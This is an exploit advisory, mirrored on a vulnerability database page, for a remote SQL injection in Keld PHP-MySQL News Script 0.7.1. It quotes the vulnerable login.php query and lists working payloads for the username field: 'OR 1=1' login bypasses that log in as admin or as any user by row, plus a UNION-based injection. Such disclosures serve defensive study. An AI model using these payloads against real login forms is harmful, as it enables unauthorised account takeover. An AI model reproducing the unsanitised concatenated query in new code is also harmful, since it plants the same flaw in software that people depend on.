Lucene search
+L

keld-sql.txt

🗓️ 04 Aug 2008 00:00:00Reported by suN8HclfType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Keld: PHP-MySQL News Script 0.7.1 Remote SQL injection Vulnerability documen

Code
`]#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;##;#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;##;#;#;#;#;#;#;#;#;#[  
] [  
] Name : Keld: PHP-MySQL News Script 0.7.1 Remote SQL injection Vulnerability [  
] Author: suN8Hclf[crimsoN_Loyd9], DaRk-CodeRs Group [  
] Source: http://sourceforge.net/project/showfiles.php?group_id=26365 [  
] Greetz: c0ndemned, 0in and other DaRk-CodeRs guys, wizZ [  
] [  
]#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;##;#;#;#;#;#;#;#;#;#;#;#;#;#;#;#;##;#;#;#;#;#;#;#;#;#[  
  
  
Conditions: MAGIC_QUOTES=OFF  
Vulnerable Code(login.php):  
  
---------------------------------------CODE (login.php)----------------------------------------------------------------  
mysql_select_db($db);  
$query = mysql_query("select id,password from users where name = '$username' and password = password('$pass')");  
if(mysql_num_rows($query) == 1)  
-----------------------------------------------------------------------------------------------------------------------  
  
Exploit:  
  
All strings should be put down into username box in login.php  
  
[1]. Login bypass  
  
A. admin' OR 1=1/*   
DESC: This will log us into the admin's account  
B. fdfds' OR 1=1 limit x/*  
where x - from 0 to... i dont know ;)  
DESC: This will log us into the user's account which is x-nd in the table  
  
[2]. Classic Remote SQL Injection  
  
' AND 1=2 union select 1,2/*  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Aug 2008 00:00Current
7.4High risk
Vulners AI Score7.4
20